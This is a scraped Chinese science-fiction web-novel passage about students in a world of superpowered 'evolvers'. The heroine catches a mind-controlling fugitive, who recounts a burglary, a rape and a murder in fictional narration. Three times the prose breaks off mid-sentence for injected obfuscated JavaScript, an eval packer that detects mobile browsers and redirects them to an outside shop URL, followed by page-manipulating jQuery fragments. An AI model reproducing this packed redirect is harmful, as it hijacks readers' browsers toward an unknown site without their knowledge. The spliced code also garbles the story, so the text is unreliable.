期间,医务室还接收了几例特殊的“病患”——那就是犯罪的进化者,她们将其体内的“进化核”取了出来,使得这些进化者变回了普通人,这比任何刑罚都让犯罪者痛不欲生,也比口诛笔伐更有威慑力。此举一出,蹊暇市便再也没有出现过进化者犯罪的事件了。 这些犯罪者的进化核被集中放置在了一处,林萤注意到它们色彩各异,像一颗颗糖豆。她并没有触摸它们,所以也不知道自己能不能吸收这些进化核,但她不愿让太多人知道自己的秘密,所以,就连上次林祐均取出来的进化核她也只是隔着容器观察了一下,压根没有触碰。 林萤并没有在这件事上耗费太多精力,她现在每天过的都无比充实,就连噩梦也做得少了。救人的感觉很不错,医院的生活又太过忙碌,以至于当马浩哲突然出现在她面前时,林萤一时有些没反应过来。 “林萤!你怎么白了那么多!”马浩哲先走了过来,人还没到,话就到了。 “啊?真的吗?”林萤摸了摸自己的脸,这几天她几乎不出门,极少晒太阳,变白也是情理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“同学们,时间虽然短暂,但是这次合作很愉快!上面说你们几人都表现的很不错,所以除了原本的工资,我们又多补贴了一些作为奖金,直接打进了你们的卡里。希望你们前途似锦,未来在热爱的领域发光发热。” 随着林祐均的话,林萤几人的手机陆续响起提示声。 林萤低头查看,看到可称为“巨款”的奖金时,顿时瞪大了眼睛。 不止林萤,马浩哲几人亦是兴奋,田畅更是“我凸!我凸!”地叫了出来。 大家原本以为只是出门长长见识,却没想到有这样的意外收获,笑容皆是裂到了耳根。 “林指导,以后有这样的活,您再找我!”马浩哲高呼一声,引得众人发笑,笑后又附和他。 “是啊,是啊,一定要找我们,我们有经验!” “怎样才能进您的单位?” “可以内推吗,需要发C刊吗?” “叽里呱啦说啥呢,先推我!” 大家七嘴八舌的讨论着,个个兴致高昂,就连原本坐在前方的紧绷着脸的林祐均也露出了笑容。 然而,汽车越往大学城的方向驶,路边的景色变化越大。 原本生机勃勃的绿化带不知道什么时候被拆除了,取而代之的是闪烁着警示灯的电子围栏。沿途设了许多关卡,即便如此,每个十几米就有一个在放哨的军人,甚至还有一些正在施展能力的进化者,更别提路上随处可见的巡逻车和蜻蜓模样的仿生巡逻机了。 19. “三防政策” “林指导,街道为什么变成了这样?”林萤隔着玻璃看向街上的人,每个人的面色看上去都无比凝重,不少店家也关门了,就好像三个月前暗星将要撞上地球那般紧张。 “进化者越来越多,动乱便越来越多,加之上次的变异章鱼也没有找到,近期又发生了多起动物袭击人类的事件,为维持稳定,我们加强了戒备。” 林祐均简单说完,便靠在了椅背上,林萤看不清他的面容,却也猜得出他一定紧皱着眉头。 “你居然不知道?”后排的马浩哲突然出声说道:“林萤,你的消息可太闭塞了!” “对了,马浩哲,你一向消息灵通,给我们也透露一些吧!”林萤转向后排,对马浩哲说道。 马浩哲看了看身侧的田畅,故意叹息了一声,“哎呀,好吧,其实好多我都给畅畅讲过了,但是没有给你讲……林萤,你知道现在最火的‘三防政策’吗?” 见前面的人摇头,马浩哲继续开口: “所谓的‘三防政策’就是:一防进化者;二防变异兽;三防难民潮。我们前段时间在研究院,不知道外面的社会已经非常紧张了。人们哄抢物资,有屯大米白面的、有屯糖的、有屯盐的、有屯醋的——据说啊,据说烧醋的味道变异兽不喜欢,有屯方便面、有屯罐头的,还有屯螺蛳粉的……现在除了蹊暇市,其他地方的物价都疯了一样往上涨,隔壁青檀市,一盘鸡蛋现在已经涨到200多了!” “这么贵!”林萤惊呼一声。 “这还不算什么,咱们这里对进化者加强了管控,进化者和普通人能友好相处甚至互帮互助,可其他地方根本就不是这么一回事。我有一个保真的消息,连田畅都不知道:前天晚上,有一个进化者入室盗窃,结果中途起了贼心奸杀了屋主,后来被警察抓住,却靠自己的进化能力逃脱了,据说这个人正往咱们蹊暇市跑呢!所以啊,你说,路上这么多关卡是干嘛的?那不就是为了保护我们同时也为了防他们的嘛!” 林萤微微挺了挺背,侧过头看向前排的林祐均,他也在听马浩哲说话,并且没有出言反驳,可见马浩哲所说确有其事。 “马浩哲,你知道那个进化者的能力是什么吗?”林萤转过身去,看向马浩哲,她的神情认真而专注,一双眼睛眨也不眨,看得马浩哲“唰”地一下红了耳根。 “那,那个……听说他能短暂地左右别人的想法,就是可以命令人,他也是靠这个逃开的。这点我只是听说,并不保真。” 田畅深吸一口气,推了推架在鼻梁上的眼镜,“听你的描述——能左右别人的想法、能命令人,那岂不就是精神控制?这个世界真的是越来越魔幻了。” “谁说不是呢,现在进化者在外面横行,普通人窝在家里战战兢兢……要不说研究院好呢,里面的日子就像世外桃源一样……”说到这里,马浩哲突然高呼一声,“林指导,能把我留在研究院吗?小的愿意做牛做马!” 林祐均无奈笑道:“我也想,但不能,你们首先是学生,其次才是实习生。回去了好好读书,与研究院相比,学校才是真正的世外桃源。” “哎,好吧!”马浩哲不无遗憾,却只能叹息一声,倒向一边。 “起开,你压到我了!”是田畅的声音。 马浩哲被推到了窗边,他继续说道:“现在进化者可牛了,我听说他们弄好多组织,还一直往组织里拉人,因为这个,学校的论坛都被封了,就是因为乱打广告的太多了。” 听到这个消息,林萤问前方的林祐均:“林指导,你们的帖子也被封了吗?” 就见对方沉默地点了点头。 “啊……”林萤在外面没有办法登录学校论坛,并不知道发生了这么多事, “没办法,咱们大学生太单纯,怕咱们被有心人利用。” 不久后,车行驶到了学校周边,往日这里的车并不多,今天却有点堵。走一分钟,停两分钟,原本十分钟的路程硬是走了近半个小时。更别提不时还有人想加塞,只是都没有成功,只能愤怒地按喇叭泄愤。 林萤探出头去看,就见这些车有本地的,也有外地的,目标跟他们一样,都是大学城。 “奇怪,今天又不是开学,怎么这么多车?” “这个我知道,他们大多数都是来接孩子回家的!”马浩哲扫了一眼窗外,一边玩手机,一边漫不经心地说:“现在动乱比较多,和家人在一起比较安心,所以很多人都给孩子办了休学,就像上次暗星来一样……咱们这一代,真是什么都经历了。” “不是吧……” 这时,一直闭目养神的田畅睁开了眼睛,“嗯,我家人刚才也给我说了,他们想接我回去。” “什么?!”马浩哲“腾”地一下差点弹起来,结果头撞到了车顶,又龇牙咧嘴地坐了回去。 田畅白了他一眼,“有什么好惊讶的,我家就我一个孩子,父母惦记也是正常,再说,我爸爸昨天也成了进化者,现在他有能力保护我,这要是在学校,有专门的人来保护我吗?” 田畅说完,车内顿时没人说话了。 林萤看向后排的马浩哲,就见他在打字,而后又删掉,再打,又删,几番来回,终究是放下了手机,而后他疑惑地对上了林萤的目光。 “林萤,你,你干嘛偷看我?” “没事。” 林萤摇了摇头。 这时,一直没有吭声的林祐均却接过了田畅刚才的话头,“请问,你父亲进化的能力是什么?” 田畅显然没想到自己的话会引起林祐均的兴趣,他忙推了推眼镜,“我爸爸进化的是力量,他现在能单手搬动一辆汽车……这个是不是有点鸡肋?” “不会,很厉害。”林祐均赞叹一番,“我们现在很需要进化者,如果你的父亲愿意,我们将欢迎他的加入。” 此言一出,车内又响起“哇啊”的呼唤声,在大家看来,能加入研究院是非常幸运的一件事情。 谁料,田畅却没有第一时间答应,而是思索过后慢慢摇了摇头。 “林指导,谢谢您,但是我非常了解我的父亲,他并不是一个大公无私的人,他什么都不在乎,只在乎自己在乎我的妈妈和我,只在乎我们这个小家,想让他像你们一样维护大多数人的利益是不可能的一件事。所以,我就替他婉拒了,还望您不要生气。” 林祐均抬起手,冲他示意了一下,“不会,谢谢你如此的坦诚。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616507|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > “那个……”马浩哲突然开口,“林指导,请问,是不是只要进化了就可以加入你们?” “现阶段,我们的确很需要进化者,一是需要强大的进化者来管理进化者,二是可以配合我们的研究工作。” 田畅用胳膊肘戳了戳马浩哲,“马胖子,你问这干啥,你进化啦?” “没啊,我就是问问,我要是进化了你能不知道?” “好吧,害我白激动了一下……” 谈话间,已经到了学校,司机向校门外的关卡出示了一张通行牌,关卡放行,车缓缓驶进了校园。 偌大的广场上,林萤的专业课老师正孤零零地站在那里,看到车过来,激动地挥动着手臂。 “林向导,我等你们很久了。” 林祐均打开车门,迈步下车,“抱歉,张老师,路上有点堵车,我们迟到了。” 林萤、田畅、马浩哲一一从车上下来,站在林祐均的身后。 “赵老师,我将孩子们带回来了,他们都很优秀,帮了我们很多大忙,您教导有方啊!” “哪里哪里……”张老师歪过头看了看几个学生,又听到林祐均的夸奖,笑得快要合不拢嘴了。 一番寒暄过后,林祐均和司机离开,林萤几人重归校园。 “对了,咱们去吃个饭吧,我听说南门口本来封了,为了方便同学们出入又打开了。那边有一家特别好吃的蟹肉煲,不知道关门了没有。”马浩哲提议。 田畅摇了摇头,“算了,马胖子,我得赶紧去办休学手续,还要回宿舍收拾东西,我爸下午到,我就和他一起回家了。” “啊……畅畅,你家在哪?” 田畅说了一个乡镇名字,林萤记得这似乎是蹊暇市下属的一个县辖镇,以风景优美著称。 “那你什么时候回校?”林萤问道。 田畅推了推眼镜,罕见地露出了一丝迷茫,“我也不知道,等什么时候这场风波结束,我也许就会回来……” 马浩哲长叹一声,“没想到我们‘三毛特效小分队’才成立两个星期就要散了,你马哥有点伤感……对了,那林萤你去吗?”刚说完,他又挠了挠头,“算了,人不齐聚会也没什么意义。那就这样吧,畅畅再见!林萤再见!” 说罢,他将提起肩带,将背包甩在背上,大步流星向宿舍楼的方向走去。 田畅摘下眼镜擦了擦,他面朝林萤,缓缓地道了声“珍重”,便前往教务处了。林萤站在原地,对着他们二人相去越来越远的背影挥了挥手,随后迈开脚步,朝前走去。 刚回到宿舍收拾完毕,林萤便迫不及待登录论坛,果然就见所有的帖子都被锁上,再也无法留言以及开新帖。 随后林萤又接到了唐诗的电话,她在那边一边抱怨林萤不辞而别,一边对林萤这段时间的帮助表达了感谢,她说以后有机会希望和林萤再成为合作伙伴。 重归校园,林萤感觉自己比以往更加轻松了一些,这都归功于卡里的余额。除了研究院给的工资和奖金外,唐诗和医院又给林萤打了一笔六位数的钱财,这让林萤一下子从穷光蛋变成了富翁,原定要去打工的事情也作废了。 打什么工,姐有钱啦! 20. 进化的犯罪者 林萤穷人乍富,一时不知道要买什么,干脆决定先去吃点好吃的祭祭五脏庙。 学校南门是离宿舍楼最近的一个门,外面正对一条商业街。说是商业街,其实并不准确,称呼其为小吃街更恰当一些。这里的店铺大多小小一间,都是以奶茶店水果店和小超市为主,外加数个夫妻餐饮店,店虽小,味道却很好。学生们平时都很喜欢来这边买一些新鲜水果,再吃点小吃打打牙祭。 其中有家蟹肉煲,就是马浩哲提到的那家店,夫妻二人据说是从扬州来的,做的蟹那叫一个道地。林萤路过那家时,常常看到外面坐满了排队等待的人,从里面出来的食客也是赞不绝口,她从很早以前就想吃了,奈何囊中羞涩,只能闻闻味......想到这里,林萤摇了摇头,罢了,都是过去式了,现在有了钱,终于可以犒劳一下自己了。 林萤来到南门,就见这里也设有岗哨,但比较人性化的是刷学生卡也可以进。于是她摸了摸口袋里的学生卡,大摇大摆走出了校门。 蟹肉煲位于小吃街中段,林萤一路走过去,就见不少商家都关门大吉了,这让她有些担心,不知道蟹肉煲家是不是也关门了。好在她的担心是多余的,蟹肉煲家门前的卷帘门半开着,门口已经站着三三两两的人,她看了眼时间,才上午十点多,原来大家为了美食这么拼啊! 等蟹肉煲上桌,已是半个小时以后。 林萤对着那一“盆”蟹肉煲犯了难,也没有人告诉她一份有这么大啊,她明明点的是小份! 林萤转过头去,看看端菜上来的女店家,对方冲她微微一笑,轻轻道了一声“用餐愉快”然后就离开了。 林萤又看看旁边就餐的人,她这才发现别人都是三四个人一起来吃的,而自己这桌只有自己一个人。 不对!靠近门口的角落里还有一个大冤种和自己一样,也是一个人点了一大锅,并且看样子,他点的还是大份。 富公哦!一个人吃这么多。 林萤不由得多看了那人几眼,只见他莫约三十岁,短眉毛细长眼,眼下一片乌青,面色看上去黄中发灰,黑色的运动裤和冲锋衣,冲锋衣的帽子扣在头顶,趿着拖鞋,邋遢中带点神秘色彩。 那帽子男似乎察觉到了有人在看他,正要转头看过来,林萤忙将视线移到了自己面前的大盆上。 算了,吃吧!吃不完了打包带回去给杜煦吃,她本来是想叫上杜煦一起来的,可是杜煦临时有事没能一起。 蟹肉煲的香味直往鼻孔里窜,林萤顾不得想别的,拆开一次性筷子,开始大快朵颐。 不多时,一盆蟹肉煲便见了底,林萤仍是不觉得饱,她去添了一碗米饭,回来时又看了看墙角那个帽子男,他那盆还剩一大半。 嘿嘿……林萤正要为自己战胜了帽子男而开心,就见那帽子男朝老板招了招手,似乎是要结账。 老板走了过去,那男人突然摘下了帽子,眼睛直勾勾看向老板,他的头发乱糟糟的,显然很久没洗了。 林萤竖起耳朵,就听见帽子男刻意压低的声音:“这顿饭给我免单,然后再把你身上所有的钱给我!” ??? !!! 倒反天罡! 那边,老板不可置信地瞪大了眼,正要发作,却在接触到帽子男视线的那一刹那,突然失去了自我意识一般,机械地点了点头,然后从自己的围兜里掏出一小把零钱,混着用过的卫生纸,全部递给了对方。 帽子男一把抓过钱,数也没数就塞进裤袋里,迅速起身走出店门。 而那老板依旧木木地站在原地,两分钟后才端起帽子男吃剩的食物有些茫然地向后厨走去。 另一边,林萤迅速扫码结账,起身,冲出餐饮店,向那帽子男的背影追去。 帽子男走得很快,在小巷里七拐八拐。 林萤原本以为自己会跟丢,但让她惊讶的是,不论那帽子男走得有多绕,在哪里遁身,又在哪里加快了脚步,这些细节就像动画一样,自动在自己的脑海里播放。乃至于,林萤能提前判断出下一个转弯处,帽子男是会向左转还是向右走。 “左边。” 林萤默默念道,就见前方的帽子男果然向左边的小道走去,这一发现让林萤有些兴奋,使得她一个不留神踩飞了一粒石子,石子“啪”地一下,撞在了墙上,瞬间引得帽子男警觉地回头张望。 周围没有可以遮挡的地方,林萤忙转过身装作打电话的样子,低着头,一边说话一边用脚踢着地上的石子。 林萤感觉到那个帽子男的视线在自己身上扫了一圈,而后又狐疑地向前走去。 帽子男应该不熟悉附近的地形,他绕来绕去,来回走动。 片刻后,林萤明白了这帽子男貌似无头苍蝇般的做法是在干什么。 ——这个男人在探路! 只是这边的小巷子都弯弯曲曲,纵横无序,有一次甚至帽子男又来到了那家蟹肉煲店前,吓得他赶紧开溜。 就在这时,帽子男路过一家水果店,恰好有个男生提着几根香蕉从里面走出来,帽子男看了那男生几眼,放慢脚步,跟在了男生的身后。 林萤也放慢了脚步,不远不近地跟着。她的眼睛看得很清楚,那个帽子男正在盯着男生手里的学生卡,而这个男生的五官和帽子男正好有些相似。 男生正要往小商店的方向走,突然感觉自己的肩膀被拍了一下,他转过头,看见一个带着帽子的中年男性,对方朝他诡异一笑,露出豆大的鼠眼。 “你好,把你的学生卡给我。” 男生本能地想拒绝,却在那一瞬间仿佛失去了自我控制的能力,他捏紧手中的学生卡,恭恭敬敬递了出去。 正当男生的卡要从自己的手中转交到帽子男的手中时,突然,两根纤细的手指挡在了他们中间,夹住了将要递出去的学生卡,同时,男生的耳边传来一道女声。 “同学,拿好你的卡,不要随便把它交给陌生人。” 一句话,仿佛一大盆冷水迎面泼下,浇醒了混沌中的男生,他一个激灵,缩回手,额头刹那间冒起了冷汗。 刚才的自己,仿佛被鬼附身了一样。 男生看向一旁出声提示的女生。 她背对着光,有些看不清面容,留着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618875|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 利落的齐肩发,小而精致的下巴,修长的四肢和脖颈,单看身形便知道是个美人,但这位美人似乎并不讲究,只穿着一件洗的发白的牛仔连体工装,一只手大大咧咧地插在裤兜里,嘴角微微勾着,似乎在笑。 “谢,谢谢!”男生结结巴巴说完,又皱着眉头看向面前诡异的帽子男,“你是谁,为什么想要我的卡?” 被坏了事的帽子男转过头看向林萤,而后眯起眼睛。 “是你,刚刚打电话的那个,就是你跟着我,你到底要做什么?” 林萤没有回答他,只是看向旁边的男生,“同学,这里没有你的事了,快回宿舍看书去吧,记得学生卡不要交给陌生人。” “啊,好……” 男生说完,收回自己的卡,迈着步子一步一步向学校走去,直至回到校园,坐在宿舍里,捧起一本《思想道德与修养》,他才回过神来,似乎还有东西忘记买了。 “奇怪,刚刚那两个人真的很奇怪……”他们说的事情自己明明不想答应的,却全都照做了。 商业街上,林萤和帽子男一后一前向小巷里走,准确来说,是林萤一直尾随着帽子男。 “你叫什么?”林萤问。 “我叫王二峰。”王二峰脱口而出,随即愤怒地回过头,朝林萤吼:“你管我叫什么!滚开,别跟着我!” 林萤踢了踢路上的小石头,精准地砸到王二峰的小腿上,砸得他龇牙咧嘴,“原来就是你啊,那个被通缉的进化者,让我猜猜你是什么能力——精神控制,对吧?” 王二峰猛地停下来,他缓缓转头,一双布满了血丝的眼睛狠狠看向林萤,“原来你都知道了……” “嗯。”林萤回答得漫不经心。 “所以你从刚刚一直跟着我,你早就知道我是谁了吧?” “还不笨。” “你!你想要做什么?” “我想问你几个问题,你只需如实回答就好。” “要是我不愿意呢?” “王二峰,你知不知道你的警惕性很差?其实,我已经跟了你快一个小时了。你先是去吃了蟹肉煲,你要了一个大份的,但是没有吃完,你用能力逃了单,又从老板那拿来了两百多块钱,你先是在周围转了转,又去小宾馆租了一间房,这次你付了钱,你应当是很长时间没有休息了,想等会回去好好睡一觉。” 对上王二峰越来越凶狠的眼神,林萤继续开口。 “之后,你想熟悉一下附近的地形,但是你的方向感不好,总是来回乱走,走过很多重复的路,期间你总是停下来歇息,我为了不被你发现,连续三次钻进了同一家成人用品店。偶然间,你看到了那名跟你长得有些像的男生,于是你起了主意,想把他的卡要过来,我猜,你是想去校园看看,或者,干脆就藏匿在校园里。” “呵呵。” 王二峰冷笑一声,林萤并没有理会他,而是继续说着:“综上,你是一个智商不高,方向感不好,警惕心低,体力也不太行的男人,一旦你这种人有了进化的能力,第一件事就是用来满足自己低劣的欲念。我说的对吧,王二峰?” 21. 跪下 林萤注意到王二峰捏紧了拳头,手指节也因为箍得太用力而发白,显然他已经愤怒到了极点。 就在这时,林萤突然抬起两只手,朝王二峰温和一笑,话锋随即一转。 “刚才那段话,只是为了让你知道我有足够的时间和机会选择报警,但我没有,你知道为什么吗?”林萤双手摊开,“因为你做的事情跟我没有半毛钱的关系——杀人也好,放火也罢,你又没有招惹我。我跟着你,只是想问你几个问题,只要你如实地回答我,那么问完问题,我们一拍两散,从此井水不犯河水。” 王二峰显然有些没反应过来,他闷闷地问:“你要放了我?” 林萤点头,“对,问完问题我会放了你。” “当真?” “自然,我讲诚信。” “那你问吧。” 林萤向前走了一步,王二峰便下意识向后退了一步,实在是面前这个女生诡异得很,自己的精神控制能力在她面前完全起不了作用。 “你是什么时候进化的?” “具体哪天忘记了,反正是一周之前的事情了。” “你进化后就知道自己的能力了吗?” “不是!”王二峰头摇得像拨浪鼓,“要是早知道,我还去人家屋里偷什么东西,我沿路要钱都比那个强!” “那你是什么时候知道的?” “就在我偷东西的时候……我是第一次入室盗窃,没踩好点,我以为那天晚上屋里没人,没想到客房床上睡着一个女的。我翻弄东西的声音太大,把她吵醒了,她光着脚下床,直接把灯打开了。” 灯一亮,不仅客房的女人被吓了一跳,王二峰也被吓了一跳,刚刚拿在手上的金镯子也差点掉在地上。 “你是谁?啊——有小偷,有小偷!” 女人高声尖叫,急得王二峰金镯子也顾不上了,一个箭步冲上去捂住了女人的嘴,“闭嘴!再喊我做了你!” 话一出口,就见那女人真的闭上了嘴巴,她的眼神仍然是惊惧的,摇着头,手脚往后退,贴在墙角,似乎想竭力喊叫,可是一双唇却紧紧粘在一起,只能从鼻腔发出“呜呜呜”的声音。 “别出声,只要你不出声就没事,我只想谋财不想害命……懂了吗?懂了立即回到你的房间去,今晚就当什么都没有发生……”王二峰尽量让自己显得凶狠一些,没想到对面的女人很听话,立即同手同脚向客房走去。 王二峰将金镯子揣进兜里,然后一边看着女人回房,一边往门口撤退。 然而,就在他即将打开大门的瞬间,那个女人突然又开始尖叫,尖叫过后,传来手机解锁的声音。与此同时,王二峰听见窗外传来其住户开窗的声音,他心一横,大步跑向女人的屋子,夺走女人手中的电话,连摔带打将她摁在床上,接着用枕头狠狠压住了女人的脸。 “不是说让你别喊了吗?住嘴!住嘴!”他的话音刚落,方才还在尖叫的女人突然闭上了嘴巴,就好像有一个开关在控制着嗓子一样。 这么听话?联想到女人刚才的反应,一个大胆的猜测出现在王二峰的脑海里。 “你说,你说‘我错了’。” 女人的声音从枕头底下传来,带着浓重的鼻音,“我,错了……” “好,从现在开始,你要放平静,不要说话,听我的指挥,不要再试图反抗我,你要把我当做你的家人。” 王二峰说完,慢慢移开枕头,就见那女人果真闭着嘴巴,她看向王二峰的神情没有刚才那般厌恶,反而带有一丝温情。 王二峰顿时陷入狂喜,他早就进化了,也进化成功了,可是他却弄不清楚自己到底获得了什么能力。直到这一刻,看着原本对自己怒目而视的人因为自己的话而变得如此温顺,王二峰感觉自己的人生高度达到了顶峰。 他被巨大的喜悦包裹,整个人如在梦里。 王二峰一边说一遍回想,期间还笑了一下。 林萤打断他絮絮叨叨的叙述,“所以你就强迫了她?” “她自愿的!她愿意!她没有反抗……”王二峰像是在说服林萤,又像是在说服自己,只是他的话语声越来越小,逐渐低到连林萤也有些听不清了。 “既然她已经听话,你为什么还要杀她?” 王二峰抱住了头,“我也不想的,可是我的能力似乎持续不了几分钟,我,我其实是有一直在说话的,我一直在试图控制她,可是她,她总是反抗,我就掐住了她……我,你要相信我,我不是故意的……” 王二峰的话还没有说完,突然一阵警车声由远而近,几架仿生飞行器也静静地停在了他们的上空。 林萤从兜里掏出手机,她的声音轻轻的,“他已经交代完了,警官。” 王二峰难以置信地抬头看去,惊讶地发现空中的飞行器全部都锁定着他,他“艹”了一声,立即往小巷里冲去,可他刚走到岔路口就停住了脚步,只见他的前方、左边、右边,每一条能走的路上,都站在一名全副武装的警察和一只载着麻醉针的机械狗。 王二峰猛地回过头,他看向林萤,目眦欲裂,“你不是说你不会告诉警察吗?你不讲信用!” 林萤向前走了几步,面无表情地看向王二峰,“跟你有什么信用好讲的,杀人犯?” 王二峰咬了咬牙,他环顾周围,暗自权衡,而后果断向林萤这边冲了过来。 “滚开!” 王二峰大步向前奔跑,直直撞向林萤,同时集中精神,想要用意念来控制林萤。 就在他将要撞上林萤的前一秒,林萤突然一个侧身,似乎是为他让开了路。 成了!成了!这个诡异的女生终于听他的指挥了。 然而,就在他与林萤擦肩而过的那一瞬间,从女生的嘴里轻轻吐出两个字: “跪下。” 两个字,没有重音,毫无感情,像是初代AI念出来的一样,但却犹如千斤,沉沉地砸在了他的背脊上。 王二峰只觉膝盖一软,重重跪在了地上。 …… “近日来,各地进化者犯罪率呈逐渐上升的趋势,有人说进化者犯罪应该处以重刑,更有人将进化与犯罪画上了等号,对此您怎么看? ——犯罪率上升的其中一个主要原因是因为进化者人数的增加,所以我想,并不是进化者就会犯罪,只是进化放大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621520|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 了人性中的恶。比起犯罪的进化者,我们也看到有许多正义的进化者,他们为了维护社会的稳定,也贡献出了自己的一份力量,所以,粗暴地将进化与犯罪画上等号是有失偏颇的……” 林萤一手拿着电话一手拎着书包走在校园,晚饭时间,校园广播里正播放着一段关于进化者犯罪的采访。 “……说什么谢不谢的,这是我作为良好市民应尽的责任……奖金?哎呀,这多不好意思……好的好的,我以后也会注意的……对了,奖金怎么发,是直接打到我的银行卡里吗?” 一番交谈后,林萤挂了电话,她的嘴边噙着笑,一面将书包斜背在肩后,一面浏览着警方的悬赏公告,这个不是普通的悬赏,而是针对进化犯罪者的悬赏,所以赏金也比以往的要高一些。林萤也是刚才交谈后才知道的,原来自己抓到的王二峰也在悬赏之列,这份意外之喜让她非常愉快。 一片树叶打着转落了下来,正好落在林萤的脚下,林萤弯腰捡起树叶,又抬头看向空中,不知不觉,已是深秋。 往日她最喜欢校园的黄昏,那时的广播里是温柔的歌或者诗朗诵,学生们结束了一天的功课,吃了可口的晚餐,慢悠悠地在校园里散步,那时的风也是暖的,光也是柔的。如今回想,仿佛隔了很久。 正在这时,她的手机突然响了起来,是个未知号码。 林萤接上电话,就听那边传来一阵温柔的男音。 “请问,是林萤同学吗?” “是的,我是。” “你好,我是校医务室的医生,之前联系了你好几次,但是你都没有接电话。” 林萤想起来了,她在研究院的时候比较忙,确实经常接不上电话,于是她说:“抱歉,请问有什么事吗?” “请问林同学有时间吗?有时间的话我们可以聊一聊。” 对方的话说完,林萤却陷入了沉默,聊?跟医生有什么好聊的? 林萤刚想拒绝,却突然想起之前天文课出事后,授课的钟教授说要给每个同学进行心理疏导,当时林萤给学姐留了电话,她的名字也在其中。 这些天日子过得很充实,林萤几乎快要忘记那天的事情了,可这通电话仿佛风筝的线,又将她扯回到了那天。 林萤从来没有做过心理疏导,也觉得自己的心理似乎没有什么问题,但前段时间自己总是噩梦连连,醒来后也异常疲惫,想必是压力过大,她原本也想去心理咨询室看看的。机会难得,既然医生都主动联系了,那就去一趟好了。 “好呀,我现在就有空,您在医务室吗?” “不巧,我刚出来了。这样吧,你吃过饭了吗?我们可以边吃边聊。” “那……食堂二楼吧!” 云栖大学的食堂共三层,层数越高菜越精致,价钱也相应地会高一些。林萤此前都是在食堂一楼解决用餐,现在有钱了,不能亏待自己的身体,当然得吃好一点。 那边的男声似乎轻轻笑了一下,“三楼,琼琚轩包间,我请你。” 林萤也不客气,“那就谢谢您了,待会见。” “待会见。”男声顿了顿,又轻轻喊了一声,“林萤。” 22. 你好!原医生 正是饭点,食堂的人一波接着一波,虽然不及以前人多,却也有几分热闹。林萤乘坐电梯径直上到三楼,又在一众门牌各异的包间中找到琼琚轩,她推开门,包间里明亮的白色光线顿时顺着门缝轻轻柔柔地倾泻在她的脸上。 林萤微微眯了眯眼睛,之前学术研讨会的时候,她也在三楼的包间吃过饭,可那时的灯光似乎是暖黄色的,也并没有这么明亮。 大概是不一样的包间照明也不一样?林萤还没来得及细想,就见亮光之中,有一个更亮的物体在移动,晃得她几乎要闭上眼睛了。 然而几息后,不知是那道光消失了,还是林萤已经适应这里的光线了,她觉得灯光似乎变暗了些,眼前的景象也能看清了。 原来亮光之中那个更亮的物体不是别的,而是一个穿着白色衬衣的年轻男子,他的皮肤是近乎透明的白,在灯光下像玉一样润,偏偏衬衣面料里似乎夹杂着一些银色的丝线,是那种闪光的材质,与头顶的灯光交织闪烁,所以才会那么亮。 “您就是……医生?” 林萤有些拿不准,她又过头去看了一眼包间上的名称,是琼琚轩没错啊!那么眼前这个人,应当就是之前与自己通话的医生了吧? 可是,林萤看着眼前的人,他似乎有些过分年轻了,感觉比自己的同门师弟还要年轻。 不怪林萤觉得惊讶,实在是云栖大学的入职条件最低都是博士,随随便便念下来也快三十了,尤其还是医学专业,本身就要比其他专业多读个三五年,眼前这个,恐怕二十五都不到,他是怎么应聘进学校的?林萤不是以貌取人的人,但还是对眼前这个俊美异常的医生产生了严重的信任危机。 不过,林萤又转念一想,云栖大学神人颇多,物理系有个天才就是十四岁上大学,二十一岁博士毕业,不但是自己专业的佼佼者,而且涉猎面颇广,上知天文下知地理,还经常去林萤她们专业蹭课,现在年纪轻轻已经是副教授了。想必眼前这位便是这类神人了。 而且……林萤又细细打量了一下眼前这个男子,除了年轻,他似乎也过分漂亮,挺直的鼻梁淡粉色的双唇,只是看着便觉赏心悦目。 对面的人丝毫不在意林萤一而再再而三的打量,仿佛是已经习惯了。他礼貌起身,黑色腰封下是同色系的西裤,蜂腰长腿,款款走过来,超林萤伸出手。 “你好,林同学,我叫原初。” 林萤轻轻碰了碰他的手指,很快又将手缩了回来,真凉啊,看来这位医生末梢血液循环有些不畅。 对面的原初则是低头看了看自己的指尖,然后收回手,将林萤引到座位边上,又非常自然地将椅子拉出来让她坐下。 “不知道你喜欢什么,我就只点了几个招牌菜,你看看菜单,还有什么喜欢的吗?” “好的,谢谢。” 原初将菜单递给林萤,然后在她对面坐了下来。 